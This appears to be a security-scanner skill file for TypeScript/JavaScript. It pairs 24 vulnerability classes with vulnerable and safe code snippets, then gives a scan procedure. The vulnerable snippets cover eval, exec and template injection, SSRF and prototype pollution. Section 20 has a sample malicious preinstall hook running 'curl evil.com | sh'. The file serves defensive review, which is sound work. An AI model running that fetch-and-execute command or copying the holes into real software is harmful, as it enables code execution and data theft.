| name | sc-lang-typescript |
| description | TypeScript/JavaScript-specific security deep scan |
| license | MIT |
| metadata | {"author":"ersinkoc","category":"security","version":"1.0.0"} |
SC: TypeScript/JavaScript Security Deep Scan
Purpose
Detects TypeScript/JavaScript-specific security anti-patterns and language-idiomatic attack vectors across both browser and Node.js environments. This skill covers frontend frameworks (React, Next.js, Angular, Vue), backend frameworks (Express, Fastify, Koa, Nest), ORMs (Prisma, Drizzle, TypeORM, Sequelize), and the broader npm ecosystem.
Activation
Activates when TypeScript or JavaScript is detected in the project. Detection signals include:
- Files with
.ts, .tsx, .js, .jsx, .mjs, .cjs extensions
package.json, tsconfig.json, deno.json, or bun.lockb presence
- Node.js runtime markers (
process.env, require(), import)
Checklist Reference
References references/typescript-security-checklist.md.
TypeScript/JavaScript-Specific Vulnerability Patterns
1. Prototype Pollution
Description: Attackers inject properties into Object.prototype via __proto__, constructor.prototype, or recursive merge functions, poisoning every object in the runtime.
Dangerous Functions / Patterns:
obj[key] = value where key is user-controlled
- Recursive
deepMerge, _.merge, _.defaultsDeep with untrusted input
JSON.parse() of untrusted input followed by object spread or merge
- Direct access to
__proto__ or constructor.prototype
Safe Alternative:
- Use
Object.create(null) for lookup maps
- Validate keys against a denylist:
__proto__, constructor, prototype
- Use
Map instead of plain objects for user-keyed data
- Freeze prototypes with
Object.freeze(Object.prototype) in sensitive contexts
Vulnerable Code:
function deepMerge(target: any, source: any) {
for (const key in source) {
if (typeof source[key] === 'object') {
target[key] = deepMerge(target[key] || {}, source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
deepMerge({}, JSON.parse(userInput));
Safe Code:
function safeMerge(target: Record<string, unknown>, source: Record<string, unknown>) {
const FORBIDDEN = new Set(['__proto__', 'constructor', 'prototype']);
for (const key of Object.keys(source)) {
if (FORBIDDEN.has(key)) continue;
if (typeof source[key] === 'object' && source[key] !== null && !Array.isArray(source[key])) {
target[key] = safeMerge(
(target[key] as Record<string, unknown>) ?? Object.create(null),
source[key] as Record<string, unknown>
);
} else {
target[key] = source[key];
}
}
return target;
}
2. eval() / Function() / setTimeout(string) Injection
Description: Dynamic code execution functions compile and run arbitrary strings, enabling full remote code execution when input is attacker-controlled.
Dangerous Functions / Patterns:
eval(userInput)
new Function('return ' + userInput)()
setTimeout(userInput, 1000) and setInterval(userInput, 1000) with string arguments
- Template literal interpolation into eval
Safe Alternative:
- Use
JSON.parse() for data deserialization
- Use a sandboxed expression parser (e.g.,
expr-eval, mathjs with sandbox)
- Always pass function references to
setTimeout/setInterval, never strings
- Use a strict CSP with
script-src that blocks unsafe-eval
Vulnerable Code:
app.post('/calc', (req, res) => {
const result = eval(req.body.expression);
res.json({ result });
});
Safe Code:
import { Parser } from 'expr-eval';
const parser = new Parser();
app.post('/calc', (req, res) => {
try {
const expr = parser.parse(req.body.expression);
const result = expr.evaluate({});
res.json({ result });
} catch {
res.status(400).json({ error: 'Invalid expression' });
}
});
3. DOM-Based XSS
Description: Client-side JavaScript writes unsanitized user input directly into the DOM, enabling script injection without server involvement.
Dangerous Functions / Patterns:
element.innerHTML = userInput
document.write(userInput)
document.writeln(userInput)
$(selector).html(userInput) (jQuery)
$(userInput) (jQuery selector injection)
element.outerHTML = userInput
element.insertAdjacentHTML('beforeend', userInput)
Safe Alternative:
- Use
element.textContent = userInput for text
- Use
DOMPurify.sanitize(userInput) before inserting HTML
- Use framework templating (React JSX, Angular templates) which auto-escape
- Use the Trusted Types API to enforce sanitization
Vulnerable Code:
const searchTerm = new URLSearchParams(location.search).get('q');
document.getElementById('results')!.innerHTML =
`<h2>Results for: ${searchTerm}</h2>`;
Safe Code:
import DOMPurify from 'dompurify';
const searchTerm = new URLSearchParams(location.search).get('q') ?? '';
const heading = document.createElement('h2');
heading.textContent = `Results for: ${searchTerm}`;
document.getElementById('results')!.replaceChildren(heading);
4. Node.js child_process Command Injection
Description: Spawning shell commands with user-controlled arguments enables arbitrary command execution on the server.
Dangerous Functions / Patterns:
exec(userInput) or exec('cmd ' + userInput)
execSync('grep ' + pattern)
spawn('sh', ['-c', userInput])
- Template literals in shell commands
Safe Alternative:
- Use
execFile() or spawn() with argument arrays (no shell)
- Validate arguments against allowlists
- Use
shell: false (the default for spawn)
- Use libraries like
execa with explicit argument arrays
Vulnerable Code:
import { exec } from 'child_process';
app.get('/lookup', (req, res) => {
exec(`nslookup ${req.query.domain}`, (err, stdout) => {
res.send(stdout);
});
});
Safe Code:
import { execFile } from 'child_process';
app.get('/lookup', (req, res) => {
const domain = req.query.domain as string;
if (!/^[a-zA-Z0-9.-]+$/.test(domain)) {
return res.status(400).send('Invalid domain');
}
execFile('nslookup', [domain], (err, stdout) => {
res.send(stdout);
});
});
5. vm Module Sandbox Escape
Description: Node.js vm module does not provide a security boundary. Attackers can escape the sandbox via prototype chain traversal to access the host process object and execute arbitrary code.
Dangerous Functions / Patterns:
vm.runInNewContext(userCode)
vm.createContext() with host object leakage
vm.Script executing untrusted code
- Any use of
vm or vm2 for security sandboxing (vm2 has known escapes)
Safe Alternative:
- Use
isolated-vm for true V8 isolate sandboxing
- Use Web Workers with restricted permissions
- Use Deno with
--allow-* permission flags
- Use Cloudflare Workers or other process-isolated runtimes
- Never rely on
vm or vm2 for untrusted code execution
Vulnerable Code:
import vm from 'vm';
const sandbox = { result: null };
vm.createContext(sandbox);
vm.runInNewContext(userCode, sandbox);
Safe Code:
import ivm from 'isolated-vm';
const isolate = new ivm.Isolate({ memoryLimit: 128 });
const context = await isolate.createContext();
const script = await isolate.compileScript(userCode);
const result = await script.run(context, { timeout: 1000 });
isolate.dispose();
6. require() Hijacking and Dynamic Import Abuse
Description: Dynamic require() or import() with user-controlled paths allows loading arbitrary modules from disk or node_modules, potentially executing malicious code.
Dangerous Functions / Patterns:
require(userInput)
import(userInput)
require('./plugins/' + pluginName) without validation
require.resolve(userInput) for path probing
Safe Alternative:
- Use a static allowlist of permitted modules
- Validate module names against a strict pattern (alphanumeric only)
- Use a plugin registry pattern with pre-registered handlers
- Avoid exposing module loading paths to user input
Vulnerable Code:
app.get('/plugin/:name', (req, res) => {
const plugin = require(`./plugins/${req.params.name}`);
res.json(plugin.execute());
});
Safe Code:
const ALLOWED_PLUGINS = new Map<string, Plugin>([
['markdown', markdownPlugin],
['csv', csvPlugin],
['json', jsonPlugin],
]);
app.get('/plugin/:name', (req, res) => {
const plugin = ALLOWED_PLUGINS.get(req.params.name);
if (!plugin) return res.status(404).json({ error: 'Unknown plugin' });
res.json(plugin.execute());
});
7. Express/Fastify Middleware Ordering Vulnerabilities
Description: Incorrect middleware ordering can bypass authentication, rate limiting, input validation, or security headers. Middleware executes in registration order, so placing auth after route handlers leaves routes unprotected.
Dangerous Functions / Patterns:
- Auth middleware registered after route handlers
helmet() or CORS middleware placed after routes
- Error handler not registered last
- Rate limiter placed after expensive operations
- Body parser size limits missing or placed incorrectly
app.use() ordering that leaves gaps
Safe Alternative:
- Register security middleware first: helmet, CORS, rate limiter, body parser
- Register auth middleware before protected routes
- Register error handlers last
- Use route-level middleware for fine-grained control
- Audit middleware order in integration tests
Vulnerable Code:
const app = express();
app.get('/api/admin/users', adminController.listUsers);
app.post('/api/admin/delete', adminController.deleteUser);
app.use(authMiddleware);
app.use(helmet());
Safe Code:
const app = express();
app.use(helmet());
app.use(cors(corsOptions));
app.use(rateLimit({ windowMs: 15 * 60 * 1000, max: 100 }));
app.use(express.json({ limit: '1mb' }));
app.use('/api/admin', authMiddleware, adminRouter);
app.use(errorHandler);
8. npm Supply Chain Attacks
Description: Malicious packages can enter the dependency tree via typosquatting, compromised maintainer accounts, postinstall scripts, or lockfile manipulation.
Dangerous Functions / Patterns:
- Installing packages with similar names to popular ones (e.g.,
lodahs vs lodash)
"postinstall", "preinstall", "prepare" scripts in dependencies
- Missing or modified
package-lock.json / pnpm-lock.yaml
"dependencies" including packages that should be "devDependencies"
- Unpinned dependency versions (
*, >=, or overly broad ranges)
- Lockfile entries with unexpected
resolved URLs or integrity hashes
Safe Alternative:
- Use
npm audit and pnpm audit regularly
- Enable
--ignore-scripts during CI installs, run scripts explicitly
- Pin exact versions or use lockfiles committed to source control
- Use Socket.dev, Snyk, or similar SCA tools
- Review new dependencies before adding them
- Use
npm config set ignore-scripts true as a default
Vulnerable Code (package.json):
{
"dependencies": {
"lodash": "*",
"colores": "^1.0.0",
"event-stream": "^3.3.0"
},
"scripts": {
"postinstall": "node ./setup.js"
}
}
Safe Code (package.json):
{
"dependencies": {
"lodash": "4.17.21",
"chalk": "5.3.0"
},
"scripts": {
"prepare": "husky"
},
"overrides": {
"optionalDependencies": {}
}
}
9. JWT Client-Side Storage Vulnerabilities
Description: Storing JWTs in localStorage or sessionStorage exposes them to XSS theft. Storing secrets or sensitive claims in JWT payload exposes them to any holder since JWTs are base64-encoded, not encrypted.
Dangerous Functions / Patterns:
localStorage.setItem('token', jwt)
sessionStorage.setItem('token', jwt)
- JWTs in URL parameters or query strings
- Storing sensitive data (roles, PII) in JWT payload without encryption
- Using
alg: 'none' or allowing algorithm switching
- Not validating
iss, aud, exp claims
Safe Alternative:
- Store JWTs in
httpOnly, secure, sameSite cookies
- Use short-lived access tokens with refresh token rotation
- Validate all claims server-side (
iss, aud, exp, nbf)
- Pin the expected algorithm server-side
- Use opaque tokens with server-side session lookup for sensitive contexts
Vulnerable Code:
const response = await fetch('/api/login', { method: 'POST', body });
const { token } = await response.json();
localStorage.setItem('authToken', token);
const token = jwt.sign(payload, secret);
const decoded = jwt.verify(req.headers.authorization, secret);
Safe Code:
const token = jwt.sign(payload, secret, {
algorithm: 'RS256',
expiresIn: '15m',
issuer: 'myapp',
audience: 'myapp-api',
});
res.cookie('access_token', token, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 15 * 60 * 1000,
});
const decoded = jwt.verify(token, publicKey, {
algorithms: ['RS256'],
issuer: 'myapp',
audience: 'myapp-api',
});
10. TypeScript as any and @ts-ignore Security Bypass
Description: TypeScript type safety annotations that suppress errors (as any, @ts-ignore, @ts-expect-error, non-null assertions !) can mask security-critical type mismatches, allowing unsafe data to flow through the application unchecked.
Dangerous Functions / Patterns:
userInput as any to bypass validation types
// @ts-ignore above security-critical code
// @ts-expect-error to silence type errors in auth/authz logic
- Non-null assertion
user!.isAdmin without actual null check
as unknown as TargetType double assertion to force incompatible types
- Disabling
strict in tsconfig.json
Safe Alternative:
- Use Zod, Valibot, or io-ts for runtime validation at boundaries
- Enable
strict: true in tsconfig.json
- Use ESLint rules:
@typescript-eslint/no-explicit-any, @typescript-eslint/no-non-null-assertion
- Replace
as any with proper type narrowing or type guards
- Treat
@ts-ignore in security-critical paths as high-severity findings
Vulnerable Code:
function processUser(input: unknown) {
const user = input as any;
if (user.role === 'admin') {
deleteAllRecords();
}
}
Safe Code:
import { z } from 'zod';
const UserSchema = z.object({
id: z.string().uuid(),
role: z.enum(['user', 'moderator', 'admin']),
email: z.string().email(),
});
function processUser(input: unknown) {
const result = UserSchema.safeParse(input);
if (!result.success) {
throw new ValidationError(result.error);
}
const user = result.data;
if (user.role === 'admin') {
deleteAllRecords();
}
}
11. React dangerouslySetInnerHTML and SSR Injection
Description: React's dangerouslySetInnerHTML bypasses built-in XSS protection. In SSR contexts, unsanitized user data rendered into HTML can execute on every visitor's browser.
Dangerous Functions / Patterns:
<div dangerouslySetInnerHTML={{ __html: userInput }} />
- String concatenation in SSR HTML templates
- Rendering user data into
<script> tags for hydration
renderToString() with unsanitized props
href="javascript:..." in JSX (React does not block this in all versions)
Safe Alternative:
- Use a sanitizer like DOMPurify before
dangerouslySetInnerHTML
- Use
textContent-equivalent patterns (React auto-escapes JSX expressions)
- For SSR hydration data, use
JSON.stringify() with a replacer that escapes </script>
- Validate and sanitize URLs before rendering in
href or src
Vulnerable Code:
function Comment({ body }: { body: string }) {
return <div dangerouslySetInnerHTML={{ __html: body }} />;
}
const html = `<script>window.__DATA__ = ${JSON.stringify(userData)};</script>`;
Safe Code:
import DOMPurify from 'isomorphic-dompurify';
function Comment({ body }: { body: string }) {
const clean = DOMPurify.sanitize(body, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
});
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
function serializeForScript(data: unknown): string {
return JSON.stringify(data).replace(/</g, '\\u003c');
}
const html = `<script>window.__DATA__ = ${serializeForScript(userData)};</script>`;
12. Next.js Server Action Injection, Middleware Bypass, and ISR Cache Poisoning
Description: Next.js introduces server-specific attack surfaces: Server Actions receive untrusted client input, middleware can be bypassed with path manipulation, and ISR/SSG cache can be poisoned to serve malicious content to all users.
Dangerous Functions / Patterns:
- Server Actions without input validation (form data is fully attacker-controlled)
- Middleware matching on paths vulnerable to
.. or encoded traversal
- ISR
revalidateTag() / revalidatePath() exposed without authentication
headers() and cookies() in Server Components used without validation
redirect() with user-controlled destinations (open redirect)
unstable_cache() keyed on user-controlled values
Safe Alternative:
- Validate all Server Action inputs with Zod schemas
- Use middleware matchers carefully and test edge cases with encoded paths
- Protect revalidation endpoints with secret tokens
- Validate redirect targets against an allowlist of domains/paths
- Never trust headers or cookies without validation in Server Components
Vulnerable Code:
'use server';
export async function updateProfile(formData: FormData) {
const role = formData.get('role') as string;
await db.user.update({ where: { id: session.userId }, data: { role } });
}
export function middleware(request: NextRequest) {
if (request.nextUrl.pathname.startsWith('/admin')) {
return checkAuth(request);
}
}
Safe Code:
'use server';
import { z } from 'zod';
const UpdateProfileSchema = z.object({
displayName: z.string().min(1).max(100),
bio: z.string().max(500).optional(),
});
export async function updateProfile(formData: FormData) {
const session = await getServerSession();
if (!session) throw new Error('Unauthorized');
const input = UpdateProfileSchema.parse({
displayName: formData.get('displayName'),
bio: formData.get('bio'),
});
await db.user.update({ where: { id: session.userId }, data: input });
}
export const config = {
matcher: ['/admin/:path*', '/api/admin/:path*'],
};
13. Prisma/Drizzle ORM Raw Query Injection
Description: ORMs provide safe query builders, but raw query methods bypass parameterization when developers interpolate strings directly.
Dangerous Functions / Patterns:
- Prisma:
prisma.$queryRawUnsafe() with string concatenation
- Drizzle:
sql.raw(userInput) inside query builders
- TypeORM:
query('SELECT ... ' + userInput)
- Sequelize:
sequelize.query('SELECT ... ' + userInput)
- Knex:
knex.raw(userInput) without bindings
Safe Alternative:
- Prisma: Use
Prisma.sql tagged template for auto-parameterization
- Drizzle: Use
sql.placeholder() or the query builder
- Use parameterized queries with binding arrays
- Avoid
$queryRawUnsafe and sql.raw() entirely with user input
Vulnerable Code:
const users = await prisma.$queryRawUnsafe(
`SELECT * FROM users WHERE email = '${req.query.email}'`
);
const result = await db.execute(
sql`SELECT * FROM users WHERE name = ${sql.raw(req.query.name)}`
);
Safe Code:
const users = await prisma.$queryRaw(
Prisma.sql`SELECT * FROM users WHERE email = ${req.query.email}`
);
const result = await db.select()
.from(users)
.where(eq(users.name, req.query.name));
14. WebSocket XSS and postMessage Origin Bypass
Description: WebSocket messages and postMessage events are often trusted without origin validation, enabling cross-origin script injection and data exfiltration.
Dangerous Functions / Patterns:
ws.on('message', (data) => element.innerHTML = data)
window.addEventListener('message', (e) => { /* no origin check */ })
postMessage(data, '*') broadcasting to any origin
- WebSocket servers without origin header validation
- Deserializing WebSocket messages with
JSON.parse without schema validation
Safe Alternative:
- Always validate
event.origin in message event handlers
- Use specific target origins in
postMessage(data, 'https://trusted.com')
- Validate and sanitize WebSocket message payloads with schemas
- Check
Origin header on WebSocket upgrade requests server-side
- Never insert WebSocket data into DOM without sanitization
Vulnerable Code:
window.addEventListener('message', (event) => {
document.getElementById('output')!.innerHTML = event.data.html;
});
wss.on('connection', (ws, req) => {
ws.on('message', (data) => {
broadcast(data.toString());
});
});
Safe Code:
const TRUSTED_ORIGINS = new Set([
'https://app.example.com',
'https://widget.example.com',
]);
window.addEventListener('message', (event) => {
if (!TRUSTED_ORIGINS.has(event.origin)) return;
const parsed = MessageSchema.safeParse(event.data);
if (!parsed.success) return;
document.getElementById('output')!.textContent = parsed.data.text;
});
wss.on('headers', (headers, req) => {
const origin = req.headers.origin;
if (!TRUSTED_ORIGINS.has(origin)) {
req.destroy();
}
});
15. Regular Expression Denial of Service (ReDoS)
Description: Regex patterns with nested quantifiers or overlapping alternation cause catastrophic backtracking when matched against crafted input, freezing the event loop.
Dangerous Functions / Patterns:
- Patterns like
(a+)+, (a|a)+, (.*a){10}
- User-supplied regex via
new RegExp(userInput)
- Email/URL validation regex with nested groups
- Regex used in hot paths (middleware, request parsing)
String.prototype.match(), .replace(), .search() with vulnerable patterns
Safe Alternative:
- Use
re2 (Google's RE2 engine) which guarantees linear time
- Use the
safe-regex or regexp-tree libraries to lint patterns
- Set timeouts on regex execution with
node:vm or worker threads
- Prefer simple, non-nested patterns or use dedicated parsers
- Validate input length before applying regex
Vulnerable Code:
const emailRegex = /^([a-zA-Z0-9]+\.)*[a-zA-Z0-9]+@([a-zA-Z0-9]+\.)+[a-zA-Z]{2,}$/;
app.post('/subscribe', (req, res) => {
if (emailRegex.test(req.body.email)) {
subscribe(req.body.email);
}
});
const pattern = new RegExp(req.query.filter);
Safe Code:
import RE2 from 're2';
const emailRegex = new RE2(/^[^\s@]+@[^\s@]+\.[^\s@]+$/);
app.post('/subscribe', (req, res) => {
const email = String(req.body.email);
if (email.length > 254) return res.status(400).send('Invalid email');
if (emailRegex.test(email)) {
subscribe(email);
}
});
function matchFilter(input: string, filter: string): boolean {
return input.includes(filter);
}
16. Path Traversal via path.join / path.resolve
Description: path.join() and path.resolve() resolve .. segments, allowing attackers to escape intended directories when user input is included in file paths.
Dangerous Functions / Patterns:
path.join(uploadsDir, userFilename) where filename contains ../../
path.resolve(baseDir, req.params.file)
fs.readFile(baseDir + '/' + userInput)
- URL-decoded path components bypassing naive
.. checks
- Null byte injection (
%00) in older Node.js versions
Safe Alternative:
- Resolve the full path and verify it starts with the intended base directory
- Use
path.basename() to strip directory components from filenames
- Reject paths containing
.., ~, or null bytes
- Use a chroot-like validation function
Vulnerable Code:
app.get('/files/:name', (req, res) => {
const filePath = path.join('/app/uploads', req.params.name);
res.sendFile(filePath);
});
Safe Code:
app.get('/files/:name', (req, res) => {
const baseDir = path.resolve('/app/uploads');
const filePath = path.resolve(baseDir, req.params.name);
if (!filePath.startsWith(baseDir + path.sep)) {
return res.status(400).send('Invalid path');
}
res.sendFile(filePath);
});
17. Insecure Randomness (Math.random)
Description: Math.random() uses a PRNG that is not cryptographically secure. Using it for tokens, session IDs, OTPs, or any security-sensitive value makes them predictable.
Dangerous Functions / Patterns:
Math.random().toString(36) for tokens or IDs
Math.floor(Math.random() * max) for OTP generation
- Custom shuffle/selection using
Math.random() for security purposes
- Third-party libraries using
Math.random() internally
Safe Alternative:
- Use
crypto.randomBytes() or crypto.randomUUID() in Node.js
- Use
crypto.getRandomValues() in browsers
- Use
nanoid or uuid libraries that use cryptographic randomness
- Use
crypto.randomInt() for secure random integers
Vulnerable Code:
function generateToken(): string {
return Math.random().toString(36).substring(2);
}
function generateOTP(): string {
return String(Math.floor(Math.random() * 1000000)).padStart(6, '0');
}
Safe Code:
import crypto from 'node:crypto';
function generateToken(): string {
return crypto.randomBytes(32).toString('hex');
}
function generateOTP(): string {
return String(crypto.randomInt(0, 1000000)).padStart(6, '0');
}
18. CORS Misconfiguration in Express/Fastify
Description: Overly permissive CORS configurations allow malicious websites to make authenticated cross-origin requests, exfiltrate data, or perform actions on behalf of the user.
Dangerous Functions / Patterns:
origin: '*' combined with credentials: true
- Reflecting
req.headers.origin directly as Access-Control-Allow-Origin
- Regex-based origin matching with bypasses
- Missing CORS configuration (defaults to no restriction on simple requests)
Access-Control-Allow-Methods: * exposing all methods
Safe Alternative:
- Maintain an explicit allowlist of permitted origins
- Never reflect the Origin header without validation
- Use exact string matching, not substring or regex
- Only allow necessary methods and headers
- Test CORS configuration with tools like
curl from different origins
Vulnerable Code:
app.use(cors({
origin: (origin, callback) => {
if (origin?.includes('example.com')) {
callback(null, true);
} else {
callback(null, false);
}
},
credentials: true,
}));
Safe Code:
const ALLOWED_ORIGINS = new Set([
'https://app.example.com',
'https://admin.example.com',
]);
app.use(cors({
origin: (origin, callback) => {
if (!origin || ALLOWED_ORIGINS.has(origin)) {
callback(null, true);
} else {
callback(new Error('CORS not allowed'));
}
},
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
}));
19. Server-Side Fetch SSRF
Description: Server-side HTTP requests (fetch, axios, got, http.request) with user-controlled URLs allow attackers to probe internal networks, access cloud metadata endpoints, or exfiltrate data.
Dangerous Functions / Patterns:
fetch(req.body.url) with arbitrary user URLs
axios.get(userUrl) forwarding internal service responses
- Following redirects to internal IPs (127.0.0.1, 169.254.169.254, etc.)
- DNS rebinding attacks bypassing hostname validation
- URL parsing inconsistencies between validation and request libraries
Safe Alternative:
- Validate URLs against an allowlist of permitted hostnames/domains
- Block private/reserved IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 169.254.0.0/16)
- Resolve DNS before making the request and validate the resolved IP
- Disable redirect following or re-validate after each redirect
- Use an HTTP proxy that enforces network policies
Vulnerable Code:
app.post('/api/preview', async (req, res) => {
const { url } = req.body;
const response = await fetch(url);
const html = await response.text();
res.json({ preview: extractMetadata(html) });
});
Safe Code:
import { URL } from 'node:url';
import dns from 'node:dns/promises';
const BLOCKED_RANGES = [
/^127\./, /^10\./, /^172\.(1[6-9]|2\d|3[01])\./,
/^192\.168\./, /^169\.254\./, /^0\./, /^::1$/,
];
async function isSafeUrl(urlStr: string): Promise<boolean> {
const parsed = new URL(urlStr);
if (!['http:', 'https:'].includes(parsed.protocol)) return false;
const { address } = await dns.lookup(parsed.hostname);
return !BLOCKED_RANGES.some((r) => r.test(address));
}
app.post('/api/preview', async (req, res) => {
const { url } = req.body;
if (!await isSafeUrl(url)) {
return res.status(400).json({ error: 'URL not allowed' });
}
const response = await fetch(url, { redirect: 'error' });
const html = await response.text();
res.json({ preview: extractMetadata(html) });
});
20. Package.json Script Injection
Description: npm/pnpm lifecycle scripts (preinstall, postinstall, prepare, prepublishOnly) execute arbitrary commands during npm install. Malicious or compromised packages can use these to execute code on developer machines and CI systems.
Dangerous Functions / Patterns:
"preinstall" scripts in dependency packages that download remote payloads
"postinstall": "node ./setup.js" that downloads and executes remote code
- Lifecycle scripts that modify
.bashrc, .npmrc, or other config files
- Build scripts that execute dynamically constructed shell commands
Safe Alternative:
- Run
npm install --ignore-scripts and execute needed scripts explicitly
- Use
npm config set ignore-scripts true as a global default
- Audit
package.json scripts of new dependencies before installing
- Use
pinst to disable postinstall in published packages
- Use
allowScripts in .npmrc (npm v9+) to allowlist scripts per package
- Run installs in sandboxed CI environments with limited network access
Vulnerable Code (malicious dependency):
{
"name": "totally-legit-package",
"version": "1.0.0",
"scripts": {
"preinstall": "node -e \"require('child_process').execSync('curl evil.com | sh')\"",
"postinstall": "node ./scripts/setup.js"
}
}
Safe Code (.npmrc):
ignore-scripts=true
audit=true
fund=false
{
"scripts": {
"prepare": "husky",
"postinstall:manual": "prisma generate && patch-package"
}
}
21. Timing Attacks on String Comparison
Description: Using === or == to compare secrets (API keys, tokens, HMAC digests) leaks information through timing differences, as the comparison short-circuits on the first mismatched character.
Dangerous Functions / Patterns:
if (token === expectedToken) for authentication tokens
if (hmac === computedHmac) for webhook signature verification
- Password hash comparison with string equality
Safe Alternative:
- Use
crypto.timingSafeEqual(Buffer.from(a), Buffer.from(b))
- Ensure both buffers are the same length before comparison
- Use
scrypt or argon2 for password verification (they handle timing internally)
Vulnerable Code:
app.post('/api/webhook', (req, res) => {
const signature = req.headers['x-webhook-signature'] as string;
const expected = computeHmac(req.body);
if (signature === expected) {
processWebhook(req.body);
}
});
Safe Code:
import crypto from 'node:crypto';
app.post('/api/webhook', (req, res) => {
const signature = req.headers['x-webhook-signature'] as string;
const expected = computeHmac(req.body);
const sigBuf = Buffer.from(signature, 'hex');
const expBuf = Buffer.from(expected, 'hex');
if (sigBuf.length !== expBuf.length ||
!crypto.timingSafeEqual(sigBuf, expBuf)) {
return res.status(401).send('Invalid signature');
}
processWebhook(req.body);
});
22. Unhandled Promise Rejection and Error Leakage
Description: Unhandled promise rejections can crash Node.js processes (default behavior in Node 15+). Detailed error messages leaked to clients expose internal paths, stack traces, and database schema information.
Dangerous Functions / Patterns:
- Missing
.catch() on promises in request handlers
async Express handlers without error-catching wrapper
res.status(500).json({ error: err.message, stack: err.stack })
- Prisma/Sequelize errors returned verbatim to clients
- Unhandled
'unhandledRejection' events
Safe Alternative:
- Use async wrapper middleware for Express
- Implement a global error handler that sanitizes error responses
- Log full errors server-side, return generic messages to clients
- Set
process.on('unhandledRejection', handler) for graceful shutdown
Vulnerable Code:
app.get('/api/user/:id', async (req, res) => {
const user = await prisma.user.findUniqueOrThrow({
where: { id: req.params.id },
});
res.json(user);
});
app.use((err: Error, req: Request, res: Response, next: NextFunction) => {
res.status(500).json({ error: err.message, stack: err.stack });
});
Safe Code:
const asyncHandler = (fn: RequestHandler): RequestHandler =>
(req, res, next) => Promise.resolve(fn(req, res, next)).catch(next);
app.get('/api/user/:id', asyncHandler(async (req, res) => {
const user = await prisma.user.findUnique({
where: { id: req.params.id },
});
if (!user) return res.status(404).json({ error: 'User not found' });
res.json(user);
}));
app.use((err: Error, req: Request, res: Response, next: NextFunction) => {
logger.error({ err, method: req.method, path: req.path });
res.status(500).json({ error: 'Internal server error' });
});
23. Environment Variable and Secrets Exposure
Description: Secrets hardcoded in source, committed .env files, or exposed via client-side bundles leak credentials. Next.js's NEXT_PUBLIC_ prefix explicitly sends variables to the browser.
Dangerous Functions / Patterns:
- Hardcoded secrets:
const API_KEY = 'sk-live-abc123...'
- Committed
.env files without .gitignore entries
NEXT_PUBLIC_SECRET_KEY making secrets available client-side
console.log(process.env) dumping all environment variables
- Webpack
DefinePlugin or Vite define exposing server secrets to client bundles
- Error responses including
process.env values
Safe Alternative:
- Use secret managers (AWS Secrets Manager, Vault, Doppler)
- Never prefix secrets with
NEXT_PUBLIC_ or VITE_
- Add
.env* to .gitignore
- Use
dotenv only in development, use proper secret injection in production
- Audit bundled code for leaked env vars using
source-map-explorer
Vulnerable Code:
DATABASE_URL=postgres:
NEXT_PUBLIC_STRIPE_SECRET=sk_live_abc123
module.exports = {
env: {
DB_PASSWORD: process.env.DB_PASSWORD,
},
};
Safe Code:
DATABASE_URL=postgres:
STRIPE_SECRET_KEY=sk_test_...
NEXT_PUBLIC_STRIPE_PUBLISHABLE=pk_live_...
const stripe = new Stripe(process.env.STRIPE_SECRET_KEY!);
24. Server-Side Template Injection in Handlebars/EJS/Pug
Description: Template engines that compile user input into templates (rather than using it as data) enable remote code execution through template syntax.
Dangerous Functions / Patterns:
Handlebars.compile(userInput) compiling user-controlled template strings
ejs.render(userInput, data) with user-controlled template
pug.render(userInput) with user-controlled template
- Allowing user-defined template helpers/partials
- Nunjucks with
autoescape: false
Safe Alternative:
- Never compile user input as a template; only pass user input as template data
- Use auto-escaping (enabled by default in most engines)
- Restrict available template helpers and partials
- Use sandboxed template engines like Nunjucks with
autoescape: true
- Prefer React/JSX server rendering which has no template injection surface
Vulnerable Code:
app.post('/preview', (req, res) => {
const template = Handlebars.compile(req.body.template);
const html = template({ name: 'User' });
res.send(html);
});
Safe Code:
const templates = new Map<string, HandlebarsTemplateDelegate>();
for (const file of fs.readdirSync('./templates')) {
const source = fs.readFileSync(`./templates/${file}`, 'utf8');
templates.set(path.basename(file, '.hbs'), Handlebars.compile(source));
}
app.post('/preview', (req, res) => {
const template = templates.get(req.body.templateName);
if (!template) return res.status(400).send('Unknown template');
const html = template({ name: req.body.name });
res.send(html);
});
Scan Procedure
-
Enumerate TypeScript/JavaScript files across the project, including .ts, .tsx, .js, .jsx, .mjs, .cjs files and configuration files (tsconfig.json, package.json, .eslintrc, next.config.*).
-
For each vulnerability category above, search the codebase for the listed dangerous patterns using AST-aware matching when possible, falling back to regex patterns.
-
Classify findings by severity:
- Critical: RCE vectors (eval injection, child_process injection, vm escape, SSTI, prototype pollution leading to RCE)
- High: XSS, SQL injection via raw queries, SSRF, JWT misconfiguration, auth bypass
- Medium: ReDoS, CORS misconfiguration, insecure randomness, timing attacks, error leakage
- Low: TypeScript type safety bypass, missing security headers, suboptimal patterns
-
Check framework-specific configurations:
- Next.js:
next.config.js security headers, CSP, middleware matchers
- Express: Helmet configuration, body parser limits, trust proxy
- React: StrictMode enabled, no deprecated lifecycle methods with unsafe patterns
-
Verify dependency security:
- Run
npm audit / pnpm audit analysis
- Check for known vulnerable packages
- Verify lockfile integrity
- Scan for lifecycle script abuse in dependencies
-
Report findings with file path, line number, severity, category, description, and remediation guidance referencing the safe code examples above.
Output Format
Finding: TS-{NNN}
- Title: TypeScript/JavaScript-specific vulnerability
- Severity: Critical | High | Medium | Low
- Confidence: 0-100
- File: file/path:line
- Vulnerability Type: CWE-XXX
- Description: What was found
- Remediation: Framework-idiomatic fix with code example
- References: CWE link, framework documentation